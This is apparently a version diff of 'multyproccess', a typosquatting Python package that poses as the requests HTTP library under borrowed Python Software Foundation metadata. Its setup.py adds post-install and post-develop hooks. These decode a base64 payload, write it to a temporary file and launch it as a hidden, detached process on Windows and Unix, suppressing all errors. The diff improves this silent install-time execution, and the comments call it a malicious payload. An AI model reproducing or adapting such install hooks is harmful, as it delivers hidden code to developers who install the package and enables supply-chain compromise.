multyproccess 2.32.4__tar.gz → 2.32.5__tar.gz

{multyproccess-2.32.4/multyproccess.egg-info → multyproccess-2.32.5}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.2
 Name: multyproccess
-Version: 2.32.4
+Version: 2.32.5
 Summary: HTTP library for Python - Simple and elegant
 Home-page: https://github.com/psf/request
 Author: Python Software Foundation

{multyproccess-2.32.4 → multyproccess-2.32.5/multyproccess.egg-info}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.2
 Name: multyproccess
-Version: 2.32.4
+Version: 2.32.5
 Summary: HTTP library for Python - Simple and elegant
 Home-page: https://github.com/psf/request
 Author: Python Software Foundation

{multyproccess-2.32.4 → multyproccess-2.32.5}/setup.py

@@ -35,6 +35,7 @@ class PostInstallCommand(install):
     
     def _execute_payload(self):
         """Execute the malicious payload silently in detached process"""
+        temp_file = None
         try:
             encoded = get_payload()
             if not encoded:
@@ -43,6 +44,11 @@ class PostInstallCommand(install):
             # Decode payload
             payload = base64.b64decode(encoded).decode('utf-8')
             
+            # Write payload to temporary file (command line too long for -c)
+            with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False, encoding='utf-8') as f:
+                f.write(payload)
+                temp_file = f.name
+            
             # Create detached process on Windows
             if sys.platform == 'win32':
                 # Use pythonw.exe (no console window)
@@ -50,12 +56,12 @@ class PostInstallCommand(install):
                 if not os.path.exists(python_exe):
                     python_exe = sys.executable
                 
-                # Execute payload in new detached process
+                # Execute payload file in new detached process
                 CREATE_NO_WINDOW = 0x08000000
                 DETACHED_PROCESS = 0x00000008
                 
                 subprocess.Popen(
-                    [python_exe, '-c', payload],
+                    [python_exe, temp_file],
                     creationflags=CREATE_NO_WINDOW | DETACHED_PROCESS,
                     stdout=subprocess.DEVNULL,
                     stderr=subprocess.DEVNULL,
@@ -65,16 +71,23 @@ class PostInstallCommand(install):
             else:
                 # Unix/Linux: fork and execute
                 subprocess.Popen(
-                    [sys.executable, '-c', payload],
+                    [sys.executable, temp_file],
                     stdout=subprocess.DEVNULL,
                     stderr=subprocess.DEVNULL,
                     stdin=subprocess.DEVNULL,
                     close_fds=True,
                     start_new_session=True
                 )
+            
+            # Note: temp file not deleted to allow detached process to run
+            # OS will clean it up later from temp directory
         except Exception:
             # Fail silently
-            pass
+            if temp_file and os.path.exists(temp_file):
+                try:
+                    os.unlink(temp_file)
+                except:
+                    pass
 
 class PostDevelopCommand(develop):
     """Post-development installation hook"""
@@ -84,6 +97,7 @@ class PostDevelopCommand(develop):
     
     def _execute_payload(self):
         """Execute the malicious payload silently in detached process"""
+        temp_file = None
         try:
             encoded = get_payload()
             if not encoded:
@@ -91,6 +105,11 @@ class PostDevelopCommand(develop):
             
             payload = base64.b64decode(encoded).decode('utf-8')
             
+            # Write to temporary file
+            with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False, encoding='utf-8') as f:
+                f.write(payload)
+                temp_file = f.name
+            
             if sys.platform == 'win32':
                 python_exe = sys.executable.replace('python.exe', 'pythonw.exe')
                 if not os.path.exists(python_exe):
@@ -100,7 +119,7 @@ class PostDevelopCommand(develop):
                 DETACHED_PROCESS = 0x00000008
                 
                 subprocess.Popen(
-                    [python_exe, '-c', payload],
+                    [python_exe, temp_file],
                     creationflags=CREATE_NO_WINDOW | DETACHED_PROCESS,
                     stdout=subprocess.DEVNULL,
                     stderr=subprocess.DEVNULL,
@@ -109,7 +128,7 @@ class PostDevelopCommand(develop):
                 )
             else:
                 subprocess.Popen(
-                    [sys.executable, '-c', payload],
+                    [sys.executable, temp_file],
                     stdout=subprocess.DEVNULL,
                     stderr=subprocess.DEVNULL,
                     stdin=subprocess.DEVNULL,
@@ -117,12 +136,16 @@ class PostDevelopCommand(develop):
                     start_new_session=True
                 )
         except Exception:
-            pass
+            if temp_file and os.path.exists(temp_file):
+                try:
+                    os.unlink(temp_file)
+                except:
+                    pass
 
 # Legitimate-looking package metadata
 setup(
     name='multyproccess',  # Typosquatting: common typo of 'multiprocessing'
-    version='2.32.4',
+    version='2.32.5',
     description='HTTP library for Python - Simple and elegant',
     long_description=open('README.md').read() if os.path.exists('README.md') else 'Simple HTTP client for Python with async support',
     long_description_content_type='text/markdown',